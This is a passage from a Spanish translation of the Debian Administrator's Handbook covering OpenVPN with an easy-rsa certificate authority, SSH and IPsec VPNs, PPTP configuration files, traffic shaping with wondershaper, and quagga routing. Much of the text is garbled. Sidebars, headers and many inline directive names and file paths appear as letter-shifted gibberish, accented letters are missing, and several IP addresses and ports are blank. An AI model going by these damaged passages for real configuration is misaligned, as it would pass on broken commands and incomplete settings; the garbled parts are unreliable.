adems de para sus funcionalidades ms convencionales, para proveer una VPN. Finalmente,
puede establecer una VPN utilizando el protocolo PPTP de Microsoft. Existen otras soluciones,
pero estn ms all del alcance de este libro.

 0QFO71/
OpenVPN es un pedazo de software dedicado a crear redes privadas virtuales. Su configuracin
involucra crear interfaces de red virtuales en el servidor VPN y en los clientes; es compatible con
interfaces UVO (para tneles a nivel de IP) y UBQ (para tneles a nivel Ethernet). En la prctica,
usualmente utilizar interfaces UVO excepto cuando los clientes VPN deban intengrarse a la red
local del servidor a travs de un puente Ethernet.
OpenVPN se basa en OpenSSL para toda la criptografa SSL/TLS y funcionalidades asociadas
(confidencialidad, autenticacin, integridad, falta de repudio). Puede configurarlo con una llave
privada compartida o con un certificado X.509 basado en la infraestructura de llave pblica.



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

Se prefiere fuertemente esta ltima configuracin ya que permite ms flexibilidad cuando se


enfrenta a un nmero creciente de usuarios itinerantes que acceden a la VPN.
$6-563"
44- Z 5-4

/FUTDBQF JOWFOU FM QSPUPDPMP 44- DBQB EF [DBMPT TFHVSPT k4FDVSF 4PDLFU


-BZFS{
QBSB BTFHVSBS DPOFYJPOFT DPO TFSWJEPSFT XFC -VFHP GVF FTUBOEBSJ[B
EP QPS FM *&5' CBKP FM BDSOJNP 5-4 TFHVSJEBE EF DBQB EF USBOTQPSUF k5SBOT
QPSU -BZFS 4FDVSJUZ{
 5-4 FT NVZ TJNJMBS B 44-W DPO TMP VOPT QPDPT BSSFHMPT
Z NFKPSBT

*OGSBFTUSVDUVSB EF MMBWF QCMJDB FBTZSTB


El algoritmo RSA es ampliamente utilizado en criptografa de llave pblica. Involucra un par de
llaves, compuestas de una llave privada y una llave pblica. Las dos llaves estn fuertemente
relacionadas entre ellas y sus propiedades matemticas son tales que un mensaje cifrado con la
llave pblica slo puede ser descifrado por alguien que conozca la llave privada, lo que asegura
confidencialidad. En la direccin opuesta, un mensaje cifrado con la clave privada puede ser
descifrado por cualquiera que conozca la llave pblica, lo que permite autenticar el origen del
mensaje ya que slo pudo haber sido generado por alguien con acceso a la llave privada. Cuando
se asocie una funcin de hash digital (MD5, SHA1 o una variante ms reciente), esto lleva a un
mecanismo de firma que puede aplicarse a cualquier mensaje.
Sin embargo, cualquiera puede crear un par de llaves, almacenar cualquier identidad en ella y
pretender ser la identidad que elijan. Una solucin involucra el concepto de una autoridad de
certificacin (CA: Certification Authority) formalizado por el estndar X.509. Este trmino se
refiere a una entidad que posee un par de llaves confiable conocido como certificado raz. Slo
se utiliza este certificado para firmar otros certificados (pares de llaves), luego que se siguieron
suficientes pasos para revisar la identidad almacenada en el par de llaves. Las aplicaciones que
utilizan X.509 luego pueden verificar los certificados que se les presente si conocen los certificados raz confiables.
OpenVPN sigue esta regla. Dado que los CA pblicos slo expiden certificados a cambio de un
pago (importante), tambin es posible crear una autoridad de certificacin privada dentro de la
empresa. Para este propsito, OpenVPN provee la herramienta easy-rsa que funciona como infraestructura de certificacin X.509. Su implementacin es un conjunto de scripts que utilizan el
programa openssl; puede encontrar estos scripts bajo /usr/share/doc/openvpn/examples/
easy-rsa/2.0/.
Los administradores de Falcot Corp utilizan esta herramienta para crear los certificados necesarios, tanto para los servidores como para los clientes. Esto permite que la configuracin de
todos los clientes sea similar ya que slo debern configurarlos para confiar en certificados que
provengan de la CA local de Falcot. Esta CA es el primer certificado a crear; para ello los administradores copian el directorio que contiene easy-rsa a una ubicacin ms apropiada, preferentemente a una mquina que no est conectada a la red para evitar el riesgo de que se roben la llave
privada de la CA.
$ cp -r /usr/share/doc/openvpn/examples/easy-rsa/2.0 pki-falcot

$BQUVMP  * OGSBFTUSVDUVSB EF SFE



$ cd pki-falcot

Luego almacenan los parmetros necesarios en el archivo vars, especialmente aquellos cuyos
nombres comienzan con ,&:@; estas variables luego son integradas en el entorno:
$ vim vars
$ grep KEY_ vars
export KEY_CONFIG=`$EASY_RSA/whichopensslcnf $EASY_RSA`
export KEY_DIR="$EASY_RSA/keys"
echo NOTE: If you run ./clean-all, I will be doing a rm -rf on $KEY_DIR
export KEY_SIZE=2048
export KEY_EXPIRE=3650
export KEY_COUNTRY="FR"
export KEY_PROVINCE="Loire"
export KEY_CITY="Saint-tienne"
export KEY_ORG="Falcot Corp"
export KEY_EMAIL="admin@falcot.com"
$ . ./vars
NOTE: If you run ./clean-all, I will be doing a rm -rf on /home/rhertzog/pki-falcot/
keys
$ ./clean-all

El siguiente paso es crear el par de llaves en s de la CA (durante este paso se almacenarn las
dos partes del par de llaves en keys/ca.crt y keys/ca.key):
$ ./build-ca
Generating a 2048 bit RSA private key
..............................................++++++
.......................++++++
writing new private key to 'ca.key'
----You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
----Country Name (2 letter code) [FR]:
State or Province Name (full name) [Loire]:
Locality Name (eg, city) [Saint-tienne]:
Organization Name (eg, company) [Falcot Corp]:
Organizational Unit Name (eg, section) []:
Common Name (eg, your name or your server's hostname) [Falcot Corp CA]:
Name []:
Email Address [admin@falcot.com]:

Ahora puede crear el certificado para el servidor VPN, as como tambin los parmetros DiffieHellman necesarios en el servidor para la conexin SSL/TLS. Se identifica el servidor VPN por



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

su nombre DNS WQOGBMDPUDPN; se reutiliza este nombre para los archivos de llaves generados (keys/vpn.falcot.com.crt para el certificado pblico, keys/vpn.falcot.com.key para
la llave privada):
$ ./build-key-server vpn.falcot.com
Generating a 2048 bit RSA private key
...............++++++
...........++++++
writing new private key to 'vpn.falcot.com.key'
----You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
----Country Name (2 letter code) [FR]:
State or Province Name (full name) [Loire]:
Locality Name (eg, city) [Saint-tienne]:
Organization Name (eg, company) [Falcot Corp]:
Organizational Unit Name (eg, section) []:
Common Name (eg, your name or your server's hostname) [vpn.falcot.com]:
Name []:
Email Address [admin@falcot.com]:
Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:
An optional company name []:
Using configuration from /home/rhertzog/pki-falcot/openssl.cnf
Check that the request matches the signature
Signature ok
The Subject's Distinguished Name is as follows
countryName
:PRINTABLE:'FR'
stateOrProvinceName
:PRINTABLE:'Loire'
localityName
:T61STRING:'Saint-\0xFFFFFFC3\0xFFFFFF89tienne'
organizationName
:PRINTABLE:'Falcot Corp'
commonName
:PRINTABLE:'vpn.falcot.com'
emailAddress
:IA5STRING:'admin@falcot.com'
Certificate is to be certified until Oct 9 13:57:42 2020 GMT (3650 days)
Sign the certificate? [y/n]:y

1 out of 1 certificate requests certified, commit? [y/n]y


Write out database with 1 new entries
Data Base Updated
$ ./build-dh
Generating DH parameters, 2048 bit long safe prime, generator 2
This is going to take a long time

$BQUVMP  * OGSBFTUSVDUVSB EF SFE



..............+.......+.................................++*++*++*

El siguiente paso crea los certificados para los clientes VPN; necesita un certificado para cada
equipo o persona autorizada para utilizar la VPN:
$ ./build-key JoeSmith
Generating a 2048 bit RSA private key
................++++++
.............................++++++
writing new private key to 'JoeSmith.key'
----You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
----Country Name (2 letter code) [FR]:
State or Province Name (full name) [Loire]:
Locality Name (eg, city) [Saint-tienne]:
Organization Name (eg, company) [Falcot Corp]:
Organizational Unit Name (eg, section) []:
Common Name (eg, your name or your server's hostname) [JoeSmith]:Joe Smith
Name []:
Email Address [admin@falcot.com]:joe@falcot.com
[]

Ahora que se crearon todos los certificados, necesita copiarlos donde correspondan: la llave
pblica del certificado raz (key/ca.crt) ser almacenada en todas las mquinas (tanto el
servidor como los clientes) como /etc/ssl/certs/Falcot_CA.crt. Slo instalar el certificado del servidor en el servidor (key/vpn.falcot.com.crt en /etc/ssl/vpn.falcot.com.crt
y key/vpn.falcot.com.key en /etc/ssl/private/vpn.falcot.com.key con permisos restringidos para que slo el administrador pueda leerlo), con los parmetros Diffie-Hellman correspondientes (key/dh2048.pem) instalados en /etc/openvpn/dh2048.pem. Instale los certificados de clientes en el cliente de VPN correspondiente de forma similar.

$POGJHVSBDJO EFM TFSWJEPS 0QFO71/


El script de inicializacin de OpenVPN intenta, de forma predeterminada, iniciar todas las redes privadas virtuales definidas en /etc/openvpn/*.conf. Configurar un servidor VPN entonces es cuestin de almacenar el archivo de configuracin correspondiente en este directorio.
Un buen punto de partida es /usr/share/doc/openvpn/examples/sample-config-files/
server.conf.gz que lleva a un servidor bastante estndar. Por supuesto necesitar adaptar algunos parmetros: DB, DFSU, LFZ y EI describirn las ubicaciones seleccionadas para cada uno (respectivamente: FUDTTMDFSUT'BMDPU@$"DSU, FUDTTMWQOGBMDPUDPNDSU, FUDTTMQSJWBUFWQO



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

GBMDPUDPNLFZ y FUDPQFOWQOEIQFN). La directiva TFSWFS   define


la subred utilizada por la VPN; el servidor utilizar la primera direccin IP en el rango (
) y se asignarn a los clientes el resto de las direcciones.
Con esta configuracin OpenVPN crear una interfaz de red virtual al iniciar, generalmente con
el nombre UVO. Sin embargo, normalmente se configuran los firewalls al mismo tiempo que
las interfaces de red reales, lo que ocurre antes que inicie OpenVPN. La creacin de una interfaz de red virtual persistente, y configurar OpenVPN para que la utilice, es una buena prctica
recomendada. Esto adems permite elegir el nombre de esta interfaz. A tal efecto, openvpn mktun -dev vpn -dev-type tun crea una interfaz de red virtual llamada WQO de tipo UVO; puede
integrar fcilmente esta orden en el script de configuracin del firewall o en la directiva VQ del
archivo /etc/network/interfaces. Debe actualizar tambin el archivo de configuracin de
OpenVPN de forma acorde, con las directivas EFW WQO y EFWUZQF UVO.
Sin ms cambios, los clientes VPN slo pueden acceder el servidor VPN en s a travs de la direccin . Para permitir a los clientes que accedan la red local (192.168.0.0/24) necesitar
agregar una directiva QVTI SPVUF   a la configuracin de OpenVPN para
que los clientes VPN automticamente obtengan una ruta de red que les indique que esta red
est disponible a travs de la VPN. Lo que es ms, los equipos en la red local tambin necesitarn
ser informados que la ruta a la VPN es a travs del servidor de VPN (esto funciona automticamente cuando instala el servidor VPN en la puerta de enlace). Otra alternativa es configurar el
servidor VPN para realizar enmascaramiento de IPs de forma que las conexiones que provengan de los clientes VPN parezcan provenir del servidor VPN en su lugar (revise la Seccin 10.1,
Puerta de enlace pgina 228).

$POGJHVSBDJO EFM DMJFOUF 0QFO71/


Para configurar un cliente OpenVPN tambin necesita crear un archivo de configuracin en
/etc/openvpn/. Puede conseguir una configuracin estndar utilizando /usr/share/doc/
openvpn/examples/sample-config-files/client.conf como punto de partida. La directiva SFNPUF WQOGBMDPUDPN  describe la direccin y puerto del servidor OpenVPN; tambin
necesita adaptar DB, DFSU y LFZ para describir la ubicacin de los archivos de llave.
Si no se debe iniciar la VPN automticamente durante el inicio, configure la directiva
"65045"35 como OPOF en el archivo /etc/default/openvpn. Siempre es posible iniciar o
detener una conexin VPN dada con /etc/init.d/openvpn start nombre y /etc/init.
d/openvpn stop nombre (donde la conexin nombre coincide con aquella definida en /etc/
openvpn/nombre.conf).
El paquete network-manager-openvpn-gnome contiene una extensin para Network Manager (revise la Seccin 8.2.4, Configuracin de red automtica para usuarios errantes pgina 160) que
permite administrar redes privadas virtuales OpenVPN. Esto permite que cada usuario configure grficamente sus conexiones OpenVPN y las controle desde el cono del gestor de red.

$BQUVMP  * OGSBFTUSVDUVSB EF SFE



 3FE QSJWBEB WJSUVBM DPO 44)


En realidad existen dos formas de crear una red privada virtual con SSH. La histrica involucra
establecer una capa PPP sobre el enlace SSH. Se describe este mtodo en el siguiente howto:
http://www.tldp.org/HOWTO/ppp-ssh/
El segundo mtodo es ms reciente y fue introducido con OpenSSH 4.3; ahora OpenSSH puede
crear interfaces de red virtuales (UVO ) en ambos extremos de una conexin SSH y puede configurar estas interfaces virtuales exactamente como si fueran interfaces fsicas. Primero debe
activar el sistema de tneles configurando 1FSNJU5VOOFM como yes en el archivo de configuracin del servidor SSH (/etc/ssh/sshd_config). Cuando se establece la conexin SSH debe
solicitar explcitamente la creacin del tnel con la opcin X BOZBOZ (puede reemplaza BOZ
con el nmero de dispositivo UVO deseado). Esto necesita que el usuario tenga permisos de administrador en ambos extremos para poder crear el dispositivo de red (en otras palabras, debe
establecer la conexin como root).
Ambos mtodos para crear redes privadas virtuales sobre SSH son bastante directos. Sin embargo, la VPN que proveen no es la ms eficiente disponible; en particular, no maneja muy bien
altos niveles de trfico.
La explicacin es que cuando se encapsula TCP/IP en una conexin TCP/IP (para SSH) se utiliza
el protocolo TCP dos veces, una vez para la conexin SSH y una vez dentro del tnel. Esto genera problemas, especialmente debido a la forma en la que TCP se adapta a condiciones de red
modificando los tiempo de espera. El siguiente sitio describe el problema en ms detalle:
http://sites.inka.de/sites/bigred/devel/tcp-tcp.html
Por lo tanto debe limitar el uso de VPNs sobre SSH a tneles espordicos y de un solo uso que
no tengan requisitos de rendimiento.

 *1TFD
IPsec, a pesar de ser el estndar en VPNs IP, es bastante ms complejo en su implementacin. El
motor de IPsec est incorporado al ncleo Linux; el paquete ipsec-tools provee las partes necesarias en espacio de usuario, las herramientas de control y configuracin. En trminos concretos,
el archivo /etc/ipsec-tools.conf de cada equipo contiene los parmetros de los tneles IPsec
(en trminos de IPsec: asociaciones de seguridad, Security Associations) en los que el equipo est involucrado; el script /etc/init.d/setkey provee una forma de iniciar y detener el tnel
(cada tnel es un enlace seguro a otra mquina conectada a la red privada virtual). Puede construir este archivo a mano desde la documentacin que provee la pgina de manual setkey(8).
Sin embargo, escribir los parmetros para todos los equipos en un conjunto de mquinas no
trivial se convierte fcilmente en una tarea ardua ya que la cantidad de tneles crece rpidamente. Instalar un demonio IKE (intercambio de llaves IPsec: IPsec Key Exchange) como racoon,
strongswan o openswan hace el proceso mucho ms simple centralizando la administracin y ms
seguro rotando las claves peridicamente.



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

A pesar de su estado como referencia, la complejidad de configuracin de IPsec restringe su uso


en la prctica. Generalmente se preferirn soluciones basadas en OpenVPN cuando los tneles
necesarios no sean muchos ni demasiado dinmicos.
13&$"6$*/
*1TFD Z /"5

-PT GJSFXBMM DPO /"5 Z *1TFD OP GVODJPOBO CJFO KVOUPT *1TFD GJSNB MPT QBRVFUFT
Z DVBMRVJFS DBNCJP FO FTUPT QBRVFUFT RVF SFBMJDF FM GJSFXBMM JOWBMJEBS MB GJSNB
Z FM EFTUJOP SFDIB[BS MPT QBRVFUFT .VDIBT JNQMFNFOUBDJPOFT *1TFD JODMVZFO
MB UDOJDB /"55 /"5 5SBWFSTBM
RVF CTJDBNFOUF FODBQTVMB VO QBRVFUF *1
FO VO QBRVFUF 6%1 FTUOEBS

4&(63*%"%
*1TFD Z GJSFXBMMT

&M NPEP EF PQFSBDJO FTUOEBS EF *1TFD JOWPMVDSB JOUFSDBNCJP EF EBUPT FO FM


QVFSUP 6%1  QBSB JOUFSDBNCJP EF MMBWFT UBNCJO FO FM QVFSUP 6%1 
TJ VUJMJ[B /"55
 -P RVF FT NT MPT QBRVFUFT *1TFD VUJMJ[BO EPT QSPUPDPMPT *1
EFEJDBEPT RVF FM GJSFXBMM EFCF EFKBS QBTBS MB SFDFQDJO EF FTUPT QBRVFUFT FTU
CBTBEB FO TVT ONFSPT EF QSPUPDPMP  &41
Z  ")


 1151
PPTP (protocolo de tneles punto a punto: Point-to-Point Tunneling Protocol) utiliza dos canales
de comunicacin, uno para datos de control y otro para los datos; este ltimo utiliza el protocolo GRE (encapsulacin genrica de enrutamiento: Generic Routing Encapsulation). Luego se
establece un enlace PPP estndar sobre el canal de intercambio de datos.

$POGJHVSBDJO EFM DMJFOUF


El paquete pptp-linux contiene un cliente PPTP para Linux fcil de configurar. Las instrucciones
a continuacin estn inspiradas en la documentacin oficial:
http://pptpclient.sourceforge.net/howto-debian.phtml
Los administradores de Falcot crearon varios archivos: /etc/ppp/options.pptp, /etc/ppp/
peers/falcot, /etc/ppp/ip-up.d/falcot y /etc/ppp/ip-down.d/falcot.
&KFNQMP 

&M BSDIJWP /etc/ppp/options.pptp

# opciones PPP utilizadas en una conexin PPTP


lock
noauth
nobsdcomp
nodeflate

&KFNQMP 

&M BSDIJWP /etc/ppp/peers/falcot

$BQUVMP  * OGSBFTUSVDUVSB EF SFE



# vpn.falcot.com es el servidor PPTP


pty "pptp vpn.falcot.com --nolaunchpppd"
# el usuario vpn identificar a la conexin
user vpn
remotename pptp
# necesita cifrado
require-mppe-128
file /etc/ppp/options.pptp
ipparam falcot

&KFNQMP 

&M BSDIJWP /etc/ppp/ip-up.d/falcot

# Crear la ruta a la red Falcot


if [ "$6" = "falcot" ]; then
# 192.168.0.0/24 es la red Falcot (remota)
route add -net 192.168.0.0 netmask 255.255.255.0 dev $1
fi

&KFNQMP 

&M BSDIJWP /etc/ppp/ip-down.d/falcot

# Eliminar la ruta a la red Falcot


if [ "$6" = "falcot" ]; then
# 192.168.0.0/24 es la red Falcot (remota)
route del -net 192.168.0.0 netmask 255.255.255.0 dev $1
fi

4&(63*%"%
.11&

"TFHVSBS 1151 JOWPMVDSB VUJMJ[BS MB GVODJPOBMJEBE .11& DJGSBEP QVOUP B QVO


UP EF .JDSPTP k.JDSPTP 1PJOUUP1PJOU &ODSZQUJPO{
EJTQPOJCMF DPNP VO
NEVMP FO MPT ODMFPT %FCJBO PGJDJBMFT

$POGJHVSBDJO EFM TFSWJEPS


13&$"6$*/
1151 Z GJSFXBMMT

/FDFTJUB DPOGJHVSBS MPT GJSFXBMMT JOUFSNFEJPT QBSB RVF QFSNJUBO QBTBS QBRVF
UFT *1 RVF VUJMJ[BO FM QSPUPDPMP  (3&
 -P RVF FT NT OFDFTJUB BCSJS FM QVFSUP
 EFM TFSWJEPS 1151 QBSB RVF QVFEB VUJMJ[BS FM DBOBM EF DPNVOJDBDJO

pptpd es el servidor PPTP para Linux. Necesitar cambiar pocas cosas de su archivo de configuracin principal, /etc/pptpd.conf: localip (direccin IP local) y remoteip (direccin IP remota).

En el ejemplo a continuacin el servidor PPTP siempre utiliza la direccin  y los


clientes PPTP reciben una direccin IP desde  a .



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

&KFNQMP 

&M BSDIJWP /etc/pptpd.conf

# ETIQUETA: speed
#
#
Especifica la velocidad a la que se comunica el demonio PPP.
#
speed 115200
# ETIQUETA: option
#
#
Especifica la ubicacin del archivo de opciones PPP
#
De forma predeterminada, se lo busca en /etc/ppp/options
#
option /etc/ppp/pptpd-options
# ETIQUETA: debug
#
#
Activa (ms) depuracin al registro del sistema
#
# debug
# ETIQUETA: localip
# ETIQUETA: remoteip
#
#
Especifica los rangos de direcciones IP local y remoto
#
#
Puede especificar direcciones IP individuales separadas por coma o
#
rangos o ambos. Por ejemplo:
#
#
192.168.0.234,192.168.0.245-249,192.168.0.254
#
#
RESTRICCIONES IMPORTANTESIMPORTANT RESTRICTIONS:
#
#
1. No se permiten espacios entre las comas o en las direcciones.
#
#
2. Si provee ms direcciones IP que MAX_CONNECTIONS, comenzar al
#
principio de la lista y continuar hasta que obtenga
#
MAX_CONNECTIONS direcciones IPs. De lo contrario ser ignorado.
#
#
3. Sin atajos en los rangos! Es decir que 234-8 no significa 234
#
a 238, para esto debe tipear 234-238.
#
#
4. Est bien si provee slo una IP local - se configurarn todas
#
las IPs locales como la provista. DEBE proveer al menos una IP
#
remota para cada cliente simultneo.
#
#localip 192.168.0.234-238,192.168.0.245
#remoteip 192.168.1.234-238,192.168.1.245

$BQUVMP  * OGSBFTUSVDUVSB EF SFE



#localip 10.0.1.1
#remoteip 10.0.1.2-100
localip 192.168.0.199
remoteip 192.168.0.200-250

La configuracin PPP utilizada por el servidor PPTP tambin necesita algunos cambios en el
archivo /etc/ppp/pptpd-options. Los parmetros importantes son el nombre del servidor
(QQUQ), el nombre del dominio (GBMDPUDPN y la direccin IP para los servidores DNS y WINS.
&KFNQMP  &M BSDIJWP /etc/ppp/pptpd-options
## activar la depuracin de pppd en el registro del sistema
#debug
## modifique servername a lo que sea que especific como su nombre de servidor en
chap-secrets
name pptp
## modifique el nombre del dominio a su dominio local
domain falcot.com
## estos son valores predeterminados razonables para clientes WinXXXX
## para las configuraciones relacionadas con seguridad
# El paquete pppd de Debian ahora es compatible tanto con MSCHAP como con MPPE,
actvelos aqu.
# Necesita tener tambin el mdulo de ncleo para MPPE!
auth
require-chap
require-mschap
require-mschap-v2
require-mppe-128
## Complete con sus direcciones
ms-dns 192.168.0.1
ms-wins 192.168.0.1
## Complete con su mscara de red
netmask 255.255.255.0
## algunos valores predeterminados
nodefaultroute
proxyarp
lock

El ltimo paso consiste en registrar el usuario WQO (y su contrasea asociada) en el archivo


/etc/ppp/chap-secrets. A diferencia de otras instancias en las que un asterisco ( ) funcionara, aqu debe proveer explcitamente el nombre del servidor. Lo que es ms, los clientes
PPTP Windows se identifican a s mismo en la forma %0.*/*0==646"3*0 en lugar de slo



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

proveer un nombre de usuario. Esto explica porqu el archivo tambin menciona el usuario
'"-$05==WQO. Tambin es posible especificar una direccin IP individual para los usuarios; un
asterisco en este campo especifica que debe utilizar direcciones dinmicas.
&KFNQMP 
# Secretos para
# cliente
vpn
FALCOT\\vpn

&M BSDIJWP /etc/ppp/chap-secrets

autenticacin utilizando CHAP


servidor secreto
direccin IP
pptp
f@Lc3au
*
pptp
f@Lc3au
*

4&(63*%"%
7VMOFSBCJMJEBEFT 1151

-B QSJNFSB JNQMFNFOUBDJO 1151 EF .JDSPTP UVWP NVDIBT DSUJDBT EFCJEP


B TV DBOUJEBE EF WVMOFSBCJMJEBEFT EF TFHVSJEBE MB NBZPSB IBO TJEP TPMV
DJPOBEBT EFTEF FOUPODFT FO WFSTJPOFT NT SFDJFOUFT -B DPOGJHVSBDJO EPD
VNFOUBEB FO FTUB TFDDJO VUJMJ[B MB MUJNB WFSTJO EFM QSPUPDPMP 4JO FN
CBSHP EFCF TBCFS RVF FMJNJOBS BMHVOBT PQDJPOFT DPNP require-mppe-128 Z
require-mschap-v2
QPESB IBDFS BM TFSWJDJP OVFWBNFOUF WVMOFSBCMF

 $BMJEBE EFM TFSWJDJP


 1SJODJQJP Z NFDBOJTNP
Calidad del servicio (QoS: Quality of Service) se refiere a un conjunto de tcnicas que garantizan
o mejoran la calidad del servicio provisto a las aplicaciones. De stas, la tcnica ms popular
consiste en clasificar el trfico de red en categoras y diferenciar la gestin del trfico segn la
categora a la que pertenezca. El uso principal de este concepto de servicios diferenciados es
la manipulacin de trfico (traffic shaping), que limita las tasas de transmisin de datos para
conexiones relacionadas con algunos servicios y/o equipos para no saturar el ancho de banda
disponible y privar a otros servicios importantes. Esta tcnica es particularmente buena para
trfico TCP ya que el protocolo se adapta automticamente al ancho de banda disponible.
Tambin es posible alterar las prioridades del trfico, lo que permite priorizar paquetes relacionados con servicios interactivos (como ssh y telnet) o a servicios que slo trabajan con
bloques de datos pequeos.
Los ncleos Debian incluyen la funcionalidad necesaria para QoS as como tambin los mdulos asociados. Estos mdulos son muchos y cada uno de ellos provee un servicio diferente, los
ms notables como planificadores especiales para las colas de paquetes IP; el amplio rango de
comportamientos de planificadores abarca todo el rango de requerimientos posibles.
$6-563"
-"35$ & OSVUBNJFOUP
BWBO[BEP Z DPOUSPM EF USGJDP
EF -JOVY k-JOVY "EWBODFE
3PVUJOH  5SBJD $POUSPM{

&M kIPXUP{ EF -JOVY "EWBODFE 3PVUJOH  5SBJD $POUSPM FT FM EPDVNFOUP EF


SFGFSFODJB RVF DVCSF UPEP MP RVF IBDF GBMUB TBCFS TPCSF DBMJEBE EF TFSWJDJP FO
VOB SFE
http://www.lartc.org/howto/

$BQUVMP  * OGSBFTUSVDUVSB EF SFE



 $POGJHVSBDJO F JNQMFNFOUBDJO


Se configuran los parmetros de QoS mediante el programa tc (provisto por el paquete iproute).
Se recomienda utilizar herramientas de ms alto nivel ya que su interfaz es bastante compleja.

3FEVDDJO EF MBUFODJBT wondershaper


El propsito principal de wondershaper (en el paquete con nombre similar) es minimizar las
latencias independientemente de la carga en la red. Consigue esto limitando el trfico total a un
valor que est justo por debajo del valor de saturacin del enlace.
Una vez que una interfaz de red est configurada puede definir sus limitaciones de trfico ejecutando wondershaper interfaz tasa_descarga tasa_subida. La interfaz puede ser, por
ejemplo, FUI o QQQ y ambas tasas son en kilobits por segundo. Ejecutar wondershaper remove
interfaz desactiva el control de trfico en la interfaz especificada.
Para una conexin Ethernet, lo mejor es ejecutar este script inmediatamente despus de configurar la interfaz. Puede lograrlo agregando directivas VQ y EPXO al archivo /etc/network/
interfaces indicando las rdenes a ejecutar luego que se configure la interfaz y luego que sea
desconfigurada, respectivamente. Por ejemplo:
&KFNQMP 

$BNCJPT FO FM BSDIJWP /etc/network/interfaces

iface eth0 inet dhcp


up /sbin/wondershaper eth0 500 100
down /sbin/wondershaper remove eth0

En el caso de PPP, crear un script que ejecute wondershaper en /etc/ppp/ip-up.d/ activar el


control de trfico tan pronto como est activa la conexin.
:&/%0 .4 "--
$POGJHVSBDJO QUJNB

&M BSDIJWP /usr/share/doc/wondershaper/README.Debian.gz EFTDSJCF DPO


TVGJDJFOUF EFUBMMFT MPT NUPEPT EF DPOGJHVSBDJO SFDPNFOEBEPT QPS FM FODBS
HBEP EFM QBRVFUF &O QBSUJDVMBS BDPOTFKB NFEJS MBT WFMPDJEBEFT EF TVCJEB Z
CBKBEB QBSB FWBMVBS EF MB NFKPS GPSNB MPT MNJUFT SFBMFT

$POGJHVSBDJO FTUOEBS
A menos que exista una configuracin de QoS especfica, el ncleo Linux utiliza el planificador
de colas QGJGP@GBTU el cual provee algunas caractersticas interesantes en s mismo. La prioridad
de cada paquete IP procesado est basada en el campo ToS (tipo de servicio: Type of Service)
del mismo; modificar este campo es suficiente para tomar ventaja de sus capacidades de planificacin. Existen cinco valores posibles:
Servicio normal: Normal-Service (0);



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

Minimizar costo: Minimize-Cost (2);


Maximizar confiabilidad: Maximize-Reliability (4);
Maximizar rendimiento: Maximize-Throughput (8);
Minimizar demora: Minimize-Delay (16).
Las aplicaciones que generan paquetes IP pueden definir el campo ToS, tambin puede ser modificado al vuelo por netfilter. Las siguientes reglas son suficiente para aumentar la respuesta del
servicio de un servidor SSH:
iptables -t mangle -A PREROUTING -p tcp --sport ssh -j TOS --set-tos Minimize-Delay
iptables -t mangle -A PREROUTING -p tcp --dport ssh -j TOS --set-tos Minimize-Delay

 &OSVUBNJFOUP EJONJDP


Actualmente, la herramienta de referencia para enrutamiento dinmico es quagga, del paquete
con un nombre similar; sola ser zebra hasta que se detuvo el desarrollo de este ltimo. Sin
embargo, quagga mantuvo los nombres de los programas por cuestiones de compatibilidad, lo
que explica el uso de zebra a continuacin.
70-7&3 " -04
$*.*&/504
&OSVUBNJFOUP EJONJDP

&M FOSVUBNJFOUP EJONJDP MF QFSNJUF B MPT SPVUFST BKVTUBS FO UJFNQP SFBM MPT
DBNJOPT VUJMJ[BEPT QBSB USBOTNJUJS QBRVFUFT *1 $BEB QSPUPDPMP QPTFF TVT QSP
QJPT NUPEPT QBSB EFGJOJS SVUBT DBNJOP NT DPSUP VUJMJ[BS SVUBT QVCMJDBEBT
QPS QBSFT FUD

&O FM ODMFP -JOVY VOB SVUB FOMB[B VO EJTQPTJUJWP EF SFE B VO DPOKVOUP EF
NRVJOBT RVF QVFEFO TFS BMDBO[BEBT B USBWT EF FTUF EJTQPTJUJWP &M QSPHSBNB
route EFGJOF OVFWBT SVUBT Z NVFTUSB MBT FYJTUFOUFT

Quagga es un conjunto de demonios que cooperan entre s para definir las tablas de enrutamiento utilizadas por el ncleo Linux; cada protocolo de enrutamiento (BGP, OSPF y RIP siendo los
ms notables) provee su propio demonio. El demonio zebra recolecta la informacin de los otros
demonios y administra las tablas de enrutamiento esttico de forma acorde. Los otros demonios
son bgpd, ospfd, ospf6d, ripd, ripngd, isisd y babeld.
Puede activar demonios mediante la edicin el archivo /etc/quagga/daemons y creando el
archivo de configuracin apropiado en /etc/quagga/; debe nombrar este archivo de configuracin segn el demonio, con una extensin .conf y debe pertenecer al usuario RVBHHB y al
grupo RVBHHBWUZ para que el script /etc/init.d/quagga ejecute el demonio.
Para configurar cada uno de estos demonio necesita conocer el protocolo de enrutamiento en
cuestin. No podemos describir en detalle aqu a estos protocolos, pero el paquete quagga-doc
provee una explicacin extensa en forma de archivos info. Puede navegar los mismos contenidos en formato HTML en el sitio web de Quagga:
http://www.quagga.net/docs/docs-info.php

$BQUVMP  * OGSBFTUSVDUVSB EF SFE



Adems, la sintaxis es muy parecida a la interfaz de configuracin estndar de un router y los


administradores de red se adaptarn rpidamente a quagga.
&/ -" 13$5*$"
041' #(1 P 3*1

041' FT HFOFSBMNFOUF FM NFKPS QSPUPDPMP B VUJMJ[BS QBSB FOSVUBNJFOUP EJONJ


DP FO SFEFT QSJWBEBT QFSP #(1 FT NB DPNO QBSB FOSVUBNJFOUP FO *OUFSOFU
3*1 FT CBTUBOUF BSDBJDP Z SBSB WF[ VUJMJ[BEP FO MB BDUVBMJEBE

 *1W
IPv6, sucesor de IPv4, es una nueva versin del protocolo IP diseado para corregir sus fallas,
especialmente la escasez de direcciones IP disponibles. Este protocolo gestiona la capa de red;
su propsito es proveer una forma de direccionar mquinas para transmitir los datos a donde
